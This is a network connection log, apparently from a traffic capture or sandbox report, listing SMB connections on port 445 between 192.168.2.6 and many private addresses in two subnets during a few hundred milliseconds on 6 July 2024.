Jul 6, 2024 14:11:33.575153112 CEST	445	52007	192.168.3.3	192.168.2.6
Jul 6, 2024 14:11:33.575234890 CEST	52003	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:33.575272083 CEST	445	52010	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:33.575335979 CEST	52010	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:33.575361967 CEST	445	52010	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:33.575371981 CEST	445	52014	192.168.3.4	192.168.2.6
Jul 6, 2024 14:11:33.575387955 CEST	445	52005	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:33.575396061 CEST	445	52011	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:33.575752020 CEST	52014	445	192.168.2.6	192.168.3.4
Jul 6, 2024 14:11:33.575752020 CEST	52014	445	192.168.2.6	192.168.3.4
Jul 6, 2024 14:11:33.576070070 CEST	445	52005	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:33.576078892 CEST	445	52008	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:33.576709032 CEST	445	52009	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:33.576728106 CEST	445	52009	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:33.578031063 CEST	445	52015	192.168.3.132	192.168.2.6
Jul 6, 2024 14:11:33.578177929 CEST	52011	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:33.578438044 CEST	445	52003	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:33.578495979 CEST	52015	445	192.168.2.6	192.168.3.132
Jul 6, 2024 14:11:33.579900980 CEST	445	52012	192.168.3.131	192.168.2.6
Jul 6, 2024 14:11:33.580245972 CEST	52016	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:33.580975056 CEST	445	52014	192.168.3.4	192.168.2.6
Jul 6, 2024 14:11:33.581130981 CEST	445	52014	192.168.3.4	192.168.2.6
Jul 6, 2024 14:11:33.585283995 CEST	52015	445	192.168.2.6	192.168.3.132
Jul 6, 2024 14:11:33.585799932 CEST	52005	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:33.585799932 CEST	52008	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:33.586776972 CEST	445	52015	192.168.3.132	192.168.2.6
Jul 6, 2024 14:11:33.586819887 CEST	52015	445	192.168.2.6	192.168.3.132
Jul 6, 2024 14:11:33.590101004 CEST	445	52015	192.168.3.132	192.168.2.6
Jul 6, 2024 14:11:33.591514111 CEST	52018	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:33.592683077 CEST	52012	445	192.168.2.6	192.168.3.131
Jul 6, 2024 14:11:33.592683077 CEST	52017	445	192.168.2.6	192.168.3.133
Jul 6, 2024 14:11:33.596369982 CEST	445	52016	192.168.1.230	192.168.2.6
Jul 6, 2024 14:11:33.596379995 CEST	445	52018	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:33.596724987 CEST	52016	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:33.596724987 CEST	52018	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:33.596725941 CEST	52016	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:33.596725941 CEST	52018	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:33.597302914 CEST	445	52013	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:33.597318888 CEST	445	52003	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:33.601061106 CEST	445	52005	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:33.602703094 CEST	52022	445	192.168.2.6	192.168.3.6
Jul 6, 2024 14:11:33.603169918 CEST	52019	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:33.603169918 CEST	52020	445	192.168.2.6	192.168.3.5
Jul 6, 2024 14:11:33.603169918 CEST	52021	445	192.168.2.6	192.168.3.7
Jul 6, 2024 14:11:33.607601881 CEST	445	52022	192.168.3.6	192.168.2.6
Jul 6, 2024 14:11:33.609189987 CEST	52022	445	192.168.2.6	192.168.3.6
Jul 6, 2024 14:11:33.609189987 CEST	52022	445	192.168.2.6	192.168.3.6
Jul 6, 2024 14:11:33.609714985 CEST	52013	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:33.609714985 CEST	52013	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:33.609714985 CEST	52024	445	192.168.2.6	192.168.3.134
Jul 6, 2024 14:11:33.609802008 CEST	445	52016	192.168.1.230	192.168.2.6
Jul 6, 2024 14:11:33.610249043 CEST	445	52018	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:33.610589027 CEST	52023	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:33.612370014 CEST	445	52017	192.168.3.133	192.168.2.6
Jul 6, 2024 14:11:33.612807035 CEST	52017	445	192.168.2.6	192.168.3.133
Jul 6, 2024 14:11:33.614718914 CEST	52016	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:33.614718914 CEST	52018	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:33.616394043 CEST	52017	445	192.168.2.6	192.168.3.133
Jul 6, 2024 14:11:33.618105888 CEST	445	52013	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:33.618891001 CEST	445	52013	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:33.619661093 CEST	52025	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:33.621258020 CEST	52026	445	192.168.2.6	192.168.3.135
Jul 6, 2024 14:11:33.623155117 CEST	445	52024	192.168.3.134	192.168.2.6
Jul 6, 2024 14:11:33.623208046 CEST	52024	445	192.168.2.6	192.168.3.134
Jul 6, 2024 14:11:33.623260021 CEST	445	52023	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:33.624958992 CEST	445	52017	192.168.3.133	192.168.2.6
Jul 6, 2024 14:11:33.625051975 CEST	445	52022	192.168.3.6	192.168.2.6
Jul 6, 2024 14:11:33.625070095 CEST	445	52019	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:33.625267982 CEST	445	52020	192.168.3.5	192.168.2.6
Jul 6, 2024 14:11:33.625277042 CEST	445	52021	192.168.3.7	192.168.2.6
Jul 6, 2024 14:11:33.625300884 CEST	445	52017	192.168.3.133	192.168.2.6
Jul 6, 2024 14:11:33.625341892 CEST	445	52022	192.168.3.6	192.168.2.6
Jul 6, 2024 14:11:33.625761986 CEST	445	52025	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:33.625770092 CEST	52023	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:33.625770092 CEST	52023	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:33.627723932 CEST	445	52026	192.168.3.135	192.168.2.6
Jul 6, 2024 14:11:33.628499985 CEST	445	52024	192.168.3.134	192.168.2.6
Jul 6, 2024 14:11:33.630291939 CEST	52024	445	192.168.2.6	192.168.3.134
Jul 6, 2024 14:11:33.630292892 CEST	52017	445	192.168.2.6	192.168.3.133
Jul 6, 2024 14:11:33.630292892 CEST	52026	445	192.168.2.6	192.168.3.135
Jul 6, 2024 14:11:33.630292892 CEST	52026	445	192.168.2.6	192.168.3.135
Jul 6, 2024 14:11:33.630292892 CEST	52024	445	192.168.2.6	192.168.3.134
Jul 6, 2024 14:11:33.630541086 CEST	52019	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:33.630541086 CEST	52019	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:33.630541086 CEST	52020	445	192.168.2.6	192.168.3.5
Jul 6, 2024 14:11:33.630541086 CEST	52021	445	192.168.2.6	192.168.3.7
Jul 6, 2024 14:11:33.630541086 CEST	52020	445	192.168.2.6	192.168.3.5
Jul 6, 2024 14:11:33.630541086 CEST	52021	445	192.168.2.6	192.168.3.7
Jul 6, 2024 14:11:33.632472038 CEST	52028	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:33.633900881 CEST	52025	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:33.633900881 CEST	52025	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:33.634942055 CEST	52027	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:33.635458946 CEST	445	52024	192.168.3.134	192.168.2.6
Jul 6, 2024 14:11:33.635723114 CEST	52029	445	192.168.2.6	192.168.3.136
Jul 6, 2024 14:11:33.637309074 CEST	445	52028	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:33.637389898 CEST	52028	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:33.637424946 CEST	52028	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:33.638813019 CEST	445	52023	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:33.639159918 CEST	445	52025	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:33.639796972 CEST	445	52019	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:33.639806032 CEST	445	52020	192.168.3.5	192.168.2.6
Jul 6, 2024 14:11:33.640069962 CEST	445	52019	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:33.640162945 CEST	445	52020	192.168.3.5	192.168.2.6
Jul 6, 2024 14:11:33.640271902 CEST	445	52021	192.168.3.7	192.168.2.6
Jul 6, 2024 14:11:33.640280962 CEST	445	52021	192.168.3.7	192.168.2.6
Jul 6, 2024 14:11:33.640825987 CEST	445	52029	192.168.3.136	192.168.2.6
Jul 6, 2024 14:11:33.640882015 CEST	52029	445	192.168.2.6	192.168.3.136
Jul 6, 2024 14:11:33.641532898 CEST	52029	445	192.168.2.6	192.168.3.136
Jul 6, 2024 14:11:33.641802073 CEST	52023	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:33.641802073 CEST	52025	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:33.642210960 CEST	445	52028	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:33.642734051 CEST	445	52028	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:33.642735004 CEST	52030	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:33.645956993 CEST	445	52029	192.168.3.136	192.168.2.6
Jul 6, 2024 14:11:33.646747112 CEST	445	52029	192.168.3.136	192.168.2.6
Jul 6, 2024 14:11:33.647675991 CEST	445	52030	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:33.647917986 CEST	445	52026	192.168.3.135	192.168.2.6
Jul 6, 2024 14:11:33.648310900 CEST	52030	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:33.648310900 CEST	52030	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:33.648310900 CEST	52026	445	192.168.2.6	192.168.3.135
Jul 6, 2024 14:11:33.649185896 CEST	52032	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:33.650475979 CEST	445	52027	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:33.650533915 CEST	52027	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:33.650597095 CEST	52027	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:33.652700901 CEST	52029	445	192.168.2.6	192.168.3.136
Jul 6, 2024 14:11:33.654428959 CEST	445	52032	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:33.654478073 CEST	52032	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:33.654546976 CEST	52032	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:33.654542923 CEST	52031	445	192.168.2.6	192.168.3.8
Jul 6, 2024 14:11:33.654542923 CEST	52033	445	192.168.2.6	192.168.3.137
Jul 6, 2024 14:11:33.658287048 CEST	445	52027	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:33.658333063 CEST	52027	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:33.658425093 CEST	445	52027	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:33.664488077 CEST	52035	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:33.664580107 CEST	52034	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:33.664655924 CEST	52036	445	192.168.2.6	192.168.3.9
Jul 6, 2024 14:11:33.664861917 CEST	52037	445	192.168.2.6	192.168.3.10
Jul 6, 2024 14:11:33.664895058 CEST	52038	445	192.168.2.6	192.168.3.11
Jul 6, 2024 14:11:33.664958954 CEST	445	52032	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:33.665007114 CEST	52032	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:33.665009975 CEST	52039	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:33.666292906 CEST	445	52027	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:33.666332006 CEST	52040	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:33.666687012 CEST	445	52031	192.168.3.8	192.168.2.6
Jul 6, 2024 14:11:33.666697025 CEST	445	52033	192.168.3.137	192.168.2.6
Jul 6, 2024 14:11:33.666704893 CEST	445	52030	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:33.667373896 CEST	445	52030	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:33.667432070 CEST	52030	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:33.667751074 CEST	52031	445	192.168.2.6	192.168.3.8
Jul 6, 2024 14:11:33.667751074 CEST	52033	445	192.168.2.6	192.168.3.137
Jul 6, 2024 14:11:33.667751074 CEST	52031	445	192.168.2.6	192.168.3.8
Jul 6, 2024 14:11:33.667751074 CEST	52033	445	192.168.2.6	192.168.3.137
Jul 6, 2024 14:11:33.668311119 CEST	52041	445	192.168.2.6	192.168.3.138
Jul 6, 2024 14:11:33.669508934 CEST	445	52035	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:33.669527054 CEST	445	52034	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:33.669639111 CEST	52034	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:33.669639111 CEST	52034	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:33.669677019 CEST	445	52036	192.168.3.9	192.168.2.6
Jul 6, 2024 14:11:33.670077085 CEST	445	52037	192.168.3.10	192.168.2.6
Jul 6, 2024 14:11:33.670088053 CEST	445	52038	192.168.3.11	192.168.2.6
Jul 6, 2024 14:11:33.670144081 CEST	52037	445	192.168.2.6	192.168.3.10
Jul 6, 2024 14:11:33.670223951 CEST	52037	445	192.168.2.6	192.168.3.10
Jul 6, 2024 14:11:33.670224905 CEST	52035	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:33.670224905 CEST	52035	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:33.670886993 CEST	445	52039	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:33.671444893 CEST	445	52040	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:33.673228979 CEST	445	52041	192.168.3.138	192.168.2.6
Jul 6, 2024 14:11:33.674587965 CEST	445	52034	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:33.675302982 CEST	52039	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:33.675302982 CEST	52039	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:33.675302982 CEST	52041	445	192.168.2.6	192.168.3.138
Jul 6, 2024 14:11:33.675596952 CEST	445	52037	192.168.3.10	192.168.2.6
Jul 6, 2024 14:11:33.675684929 CEST	445	52034	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:33.676492929 CEST	445	52037	192.168.3.10	192.168.2.6
Jul 6, 2024 14:11:33.676973104 CEST	445	52031	192.168.3.8	192.168.2.6
Jul 6, 2024 14:11:33.677297115 CEST	445	52031	192.168.3.8	192.168.2.6
Jul 6, 2024 14:11:33.677520037 CEST	52036	445	192.168.2.6	192.168.3.9
Jul 6, 2024 14:11:33.677520037 CEST	52036	445	192.168.2.6	192.168.3.9
Jul 6, 2024 14:11:33.677520037 CEST	52038	445	192.168.2.6	192.168.3.11
Jul 6, 2024 14:11:33.677520037 CEST	52038	445	192.168.2.6	192.168.3.11
Jul 6, 2024 14:11:33.677520990 CEST	52040	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:33.677520990 CEST	52040	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:33.677643061 CEST	445	52033	192.168.3.137	192.168.2.6
Jul 6, 2024 14:11:33.679749012 CEST	52033	445	192.168.2.6	192.168.3.137
Jul 6, 2024 14:11:33.680217028 CEST	445	52035	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:33.680377960 CEST	445	52039	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:33.680600882 CEST	52044	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:33.680943012 CEST	445	52035	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:33.680947065 CEST	52041	445	192.168.2.6	192.168.3.138
Jul 6, 2024 14:11:33.680947065 CEST	52043	445	192.168.2.6	192.168.3.139
Jul 6, 2024 14:11:33.681133032 CEST	445	52039	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:33.682142019 CEST	445	52041	192.168.3.138	192.168.2.6
Jul 6, 2024 14:11:33.682881117 CEST	445	52036	192.168.3.9	192.168.2.6
Jul 6, 2024 14:11:33.682889938 CEST	445	52038	192.168.3.11	192.168.2.6
Jul 6, 2024 14:11:33.683067083 CEST	445	52036	192.168.3.9	192.168.2.6
Jul 6, 2024 14:11:33.683376074 CEST	445	52038	192.168.3.11	192.168.2.6
Jul 6, 2024 14:11:33.686178923 CEST	445	52040	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:33.686675072 CEST	445	52041	192.168.3.138	192.168.2.6
Jul 6, 2024 14:11:33.686729908 CEST	52041	445	192.168.2.6	192.168.3.138
Jul 6, 2024 14:11:33.687944889 CEST	52042	445	192.168.2.6	192.168.3.12
Jul 6, 2024 14:11:33.690272093 CEST	445	52044	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:33.692929029 CEST	445	52043	192.168.3.139	192.168.2.6
Jul 6, 2024 14:11:33.692955971 CEST	445	52042	192.168.3.12	192.168.2.6
Jul 6, 2024 14:11:33.693120003 CEST	52043	445	192.168.2.6	192.168.3.139
Jul 6, 2024 14:11:33.693195105 CEST	52043	445	192.168.2.6	192.168.3.139
Jul 6, 2024 14:11:33.694449902 CEST	52040	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:33.694449902 CEST	52044	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:33.694449902 CEST	52044	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:33.695523977 CEST	52049	445	192.168.2.6	192.168.3.140
Jul 6, 2024 14:11:33.698224068 CEST	445	52043	192.168.3.139	192.168.2.6
Jul 6, 2024 14:11:33.698277950 CEST	52043	445	192.168.2.6	192.168.3.139
Jul 6, 2024 14:11:33.700362921 CEST	52045	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:33.700362921 CEST	52047	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:33.700421095 CEST	445	52049	192.168.3.140	192.168.2.6
Jul 6, 2024 14:11:33.700489998 CEST	52049	445	192.168.2.6	192.168.3.140
Jul 6, 2024 14:11:33.703450918 CEST	52042	445	192.168.2.6	192.168.3.12
Jul 6, 2024 14:11:33.703450918 CEST	52042	445	192.168.2.6	192.168.3.12
Jul 6, 2024 14:11:33.703450918 CEST	52046	445	192.168.2.6	192.168.3.13
Jul 6, 2024 14:11:33.705465078 CEST	445	52045	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:33.705488920 CEST	445	52047	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:33.705512047 CEST	52045	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:33.705544949 CEST	52047	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:33.705598116 CEST	52045	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:33.705668926 CEST	52047	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:33.706219912 CEST	445	52044	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:33.706229925 CEST	445	52049	192.168.3.140	192.168.2.6
Jul 6, 2024 14:11:33.706279039 CEST	52049	445	192.168.2.6	192.168.3.140
Jul 6, 2024 14:11:33.707098961 CEST	52044	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:33.707134962 CEST	445	51991	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:33.708276033 CEST	51991	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:33.709970951 CEST	52049	445	192.168.2.6	192.168.3.140
Jul 6, 2024 14:11:33.709996939 CEST	445	52044	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:33.710108995 CEST	52048	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:33.710618019 CEST	445	52045	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:33.710738897 CEST	445	52047	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:33.710746050 CEST	445	52045	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:33.711208105 CEST	445	52047	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:33.711497068 CEST	445	52042	192.168.3.12	192.168.2.6
Jul 6, 2024 14:11:33.711514950 CEST	52051	445	192.168.2.6	192.168.3.141
Jul 6, 2024 14:11:33.711589098 CEST	445	52042	192.168.3.12	192.168.2.6
Jul 6, 2024 14:11:33.714431047 CEST	445	52046	192.168.3.13	192.168.2.6
Jul 6, 2024 14:11:33.714811087 CEST	445	52049	192.168.3.140	192.168.2.6
Jul 6, 2024 14:11:33.716510057 CEST	445	52051	192.168.3.141	192.168.2.6
Jul 6, 2024 14:11:33.717773914 CEST	445	52048	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:33.718182087 CEST	52050	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:33.719187021 CEST	52051	445	192.168.2.6	192.168.3.141
Jul 6, 2024 14:11:33.719187021 CEST	52051	445	192.168.2.6	192.168.3.141
Jul 6, 2024 14:11:33.720460892 CEST	52046	445	192.168.2.6	192.168.3.13
Jul 6, 2024 14:11:33.720460892 CEST	52046	445	192.168.2.6	192.168.3.13
Jul 6, 2024 14:11:33.722312927 CEST	52048	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:33.722312927 CEST	52048	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:33.725291014 CEST	445	52051	192.168.3.141	192.168.2.6
Jul 6, 2024 14:11:33.725307941 CEST	445	52050	192.168.1.239	192.168.2.6
Jul 6, 2024 14:11:33.725337029 CEST	52051	445	192.168.2.6	192.168.3.141
Jul 6, 2024 14:11:33.726722002 CEST	52053	445	192.168.2.6	192.168.3.142
Jul 6, 2024 14:11:33.727479935 CEST	445	52046	192.168.3.13	192.168.2.6
Jul 6, 2024 14:11:33.727787018 CEST	445	52046	192.168.3.13	192.168.2.6
Jul 6, 2024 14:11:33.729327917 CEST	52050	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:33.729327917 CEST	52050	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:33.729327917 CEST	52052	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:33.729826927 CEST	445	52048	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:33.729891062 CEST	52048	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:33.732016087 CEST	445	52053	192.168.3.142	192.168.2.6
Jul 6, 2024 14:11:33.732395887 CEST	52053	445	192.168.2.6	192.168.3.142
Jul 6, 2024 14:11:33.732395887 CEST	52053	445	192.168.2.6	192.168.3.142
Jul 6, 2024 14:11:33.734517097 CEST	445	52052	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:33.734903097 CEST	445	52050	192.168.1.239	192.168.2.6
Jul 6, 2024 14:11:33.740490913 CEST	52052	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:33.740490913 CEST	52052	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:33.740490913 CEST	52050	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:33.741569042 CEST	52054	445	192.168.2.6	192.168.3.15
Jul 6, 2024 14:11:33.741789103 CEST	52055	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:33.741904974 CEST	52056	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:33.741982937 CEST	445	52053	192.168.3.142	192.168.2.6
Jul 6, 2024 14:11:33.742065907 CEST	52053	445	192.168.2.6	192.168.3.142
Jul 6, 2024 14:11:33.742319107 CEST	52057	445	192.168.2.6	192.168.3.14
Jul 6, 2024 14:11:33.742419004 CEST	52058	445	192.168.2.6	192.168.3.16
Jul 6, 2024 14:11:33.742432117 CEST	52059	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:33.746215105 CEST	52060	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:33.749063015 CEST	52061	445	192.168.2.6	192.168.3.143
Jul 6, 2024 14:11:33.749371052 CEST	445	52054	192.168.3.15	192.168.2.6
Jul 6, 2024 14:11:33.749382973 CEST	445	52055	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:33.749393940 CEST	445	52056	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:33.749403954 CEST	445	52057	192.168.3.14	192.168.2.6
Jul 6, 2024 14:11:33.749423027 CEST	445	52059	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:33.749433041 CEST	445	52058	192.168.3.16	192.168.2.6
Jul 6, 2024 14:11:33.749496937 CEST	52056	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:33.749500990 CEST	52057	445	192.168.2.6	192.168.3.14
Jul 6, 2024 14:11:33.749882936 CEST	52055	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:33.749882936 CEST	52059	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:33.749882936 CEST	52055	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:33.749882936 CEST	52059	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:33.750894070 CEST	52054	445	192.168.2.6	192.168.3.15
Jul 6, 2024 14:11:33.750894070 CEST	52058	445	192.168.2.6	192.168.3.16
Jul 6, 2024 14:11:33.750894070 CEST	52058	445	192.168.2.6	192.168.3.16
Jul 6, 2024 14:11:33.750894070 CEST	52054	445	192.168.2.6	192.168.3.15
Jul 6, 2024 14:11:33.751214981 CEST	445	52052	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:33.752393961 CEST	445	52052	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:33.753330946 CEST	52052	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:33.753772020 CEST	52056	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:33.755392075 CEST	445	52060	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:33.756120920 CEST	52060	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:33.756120920 CEST	52060	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:33.758275032 CEST	52062	445	192.168.2.6	192.168.3.144
Jul 6, 2024 14:11:33.759078026 CEST	52063	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:33.759999990 CEST	445	52061	192.168.3.143	192.168.2.6
Jul 6, 2024 14:11:33.760067940 CEST	52061	445	192.168.2.6	192.168.3.143
Jul 6, 2024 14:11:33.760154963 CEST	52061	445	192.168.2.6	192.168.3.143
Jul 6, 2024 14:11:33.760788918 CEST	445	52058	192.168.3.16	192.168.2.6
Jul 6, 2024 14:11:33.760798931 CEST	445	52054	192.168.3.15	192.168.2.6
Jul 6, 2024 14:11:33.760816097 CEST	445	52056	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:33.760864019 CEST	52056	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:33.761367083 CEST	445	52055	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:33.762137890 CEST	445	52059	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:33.766206980 CEST	445	52054	192.168.3.15	192.168.2.6
Jul 6, 2024 14:11:33.766216040 CEST	445	52058	192.168.3.16	192.168.2.6
Jul 6, 2024 14:11:33.766237020 CEST	445	52056	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:33.766262054 CEST	445	52055	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:33.766269922 CEST	445	52059	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:33.766289949 CEST	445	52060	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:33.766314983 CEST	445	52062	192.168.3.144	192.168.2.6
Jul 6, 2024 14:11:33.766325951 CEST	445	52063	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:33.766381025 CEST	52062	445	192.168.2.6	192.168.3.144
Jul 6, 2024 14:11:33.766410112 CEST	445	52061	192.168.3.143	192.168.2.6
Jul 6, 2024 14:11:33.766417027 CEST	445	52056	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:33.766448975 CEST	52061	445	192.168.2.6	192.168.3.143
Jul 6, 2024 14:11:33.766830921 CEST	52060	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:33.766830921 CEST	52063	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:33.767729044 CEST	52062	445	192.168.2.6	192.168.3.144
Jul 6, 2024 14:11:33.768762112 CEST	52063	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:33.772989035 CEST	445	52062	192.168.3.144	192.168.2.6
Jul 6, 2024 14:11:33.773385048 CEST	52065	445	192.168.2.6	192.168.3.17
Jul 6, 2024 14:11:33.773422956 CEST	445	52062	192.168.3.144	192.168.2.6
